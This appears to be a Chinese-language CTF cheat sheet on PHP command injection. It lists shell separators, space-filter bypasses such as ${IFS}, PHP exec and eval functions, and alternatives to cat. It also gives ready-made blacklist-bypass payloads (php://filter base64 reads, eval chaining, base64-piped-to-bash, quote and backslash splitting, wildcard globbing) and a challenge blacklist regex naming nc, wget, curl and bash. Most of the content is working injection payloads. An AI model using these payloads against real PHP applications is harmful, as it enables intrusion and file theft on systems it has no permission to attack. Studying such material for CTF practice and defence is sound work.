php的include可以载入一个外部php文件,其参数是一个文件名,既然是文件名,就不能带参数了。

php中,如果include载入的文件一定要带参数,就只有一种办法,即这个参数是一个全路径的URL地址。

windows 下

|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

Linux 下

;前面和后面命令都要执行,无论前面真假
|直接执行后面的语句
||如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&前面和后面命令都要执行,无论前面真假
&&如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

空格绕过

1
2
3
4
5
6
7
>` `<` `<>` 重定向符
`%09`(需要php环境)
`${IFS}`
`$IFS$9` //$1改成$加其他数字貌似都行
`{cat,flag.php}` //用逗号实现了空格功能
`%20`
`%09

执行代码函数

1
2
3
4
5
6
7
8
9
10
11
eval()
assert()
preg_replace()
create_function()
array_map()
call_user_func()
call_user_func_array()
array_filter
usort
uasort()
${}:中间的php代码将会被解析

命令执行函数

1
2
3
4
5
6
7
system()
exec()
shell_exec()
passthru()
pcntl_exec()
popen()
proc_open()

PHP 支持一个执行运算符:反引号(`)。注意这不是单引号!PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回(即,可以赋给一个变量而不是简单地丢弃到标准输出)。使用反引号运算符“”的效果与函数 shell_exec() 相同。

文件包含函数:

1
2
3
4
require
include
require_ once
include once

文件读取函数:

1
2
3
4
5
6
7
8
9
10
11
copy
file_get_contents()
highlight_file()
fopen()
read file()
fread()
fgetss()
fgets()
parse_ini_file()
show_source()
file()

cat被过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 taccat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq: // uniq 命令用于检查及删除文本文件中重复出现的行列
file -f:报错出具体内容
rev:反转查看

黑名单绕过

增加include函数使用伪协议

c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

添加eval函数绕过检测

?c=eval($_GET[1]);&1=system(‘ls’);

拼接

a=c;b=at;c=fl;d=ag;$a$b $c$d

base64编码

echo “Y2F0IGZsYWc=”|base64 -d|bash //cat flag
echo “Y2F0IC9mbGFn”|base64 -d|bash //cat /flag
情况下可尝试sh)

单引号、双引号

c””at fl’’ag

反斜线

c\at fl\ag

正则 (假设/bin/cat: test: 是一个目录)

1
2
3
/???/?[a][t] ?''?''?''?''`
`/???/?at ????`
`/???/?[a]''[t] ?''?''?''?''
1
2
3
cat `ls` #查看当前目录的所有文件的内容。

cat * #查看当前目录的所有文件的内容。

“./“:代表目前所在的目录。

“ . ./“代表上一层目录。

“/“:代表根目录。

web135无回显,命令长度限制

1
2
3
if($F = @$_GET['F']){
if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
eval(substr($F,0,6));
1
2
3
?F=`$F` ;ls;  //相当于执行
eval(`$F` ;);
``$F` ;ls;`

另解cp命令

1
2
3
?F=`$F` ;cp flag.php 666.txt
?F=`$F` ;nl flag.php>666.txt
?F=`$F` ;mv flag.php 666.txt

文件改名

1
mv source_file(文件) dest_file(文件)

将源文件名 source_file 改为目标文件名 dest_file

1
2
3
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}

没有回显

1
2
3
ls /|tee 1
?c=nl /f149_15_h3r3|tee 1
?c=awk '/f/' /f149_15_h3r3|tee 1 // awk -f [file] 调用脚本

awk 命令也是逐行扫描文件(从第 1 行到最后一行),寻找含有目标文本的行,如果匹配成功,则会在该行上执行用户想要的操作;反之,则不对行做任何处理

从脚本文件中读取 awk 脚本指令,以取代直接在命令行中输入指令

Linux tee命令用于读取标准输入的数据,并将其内容输出成文件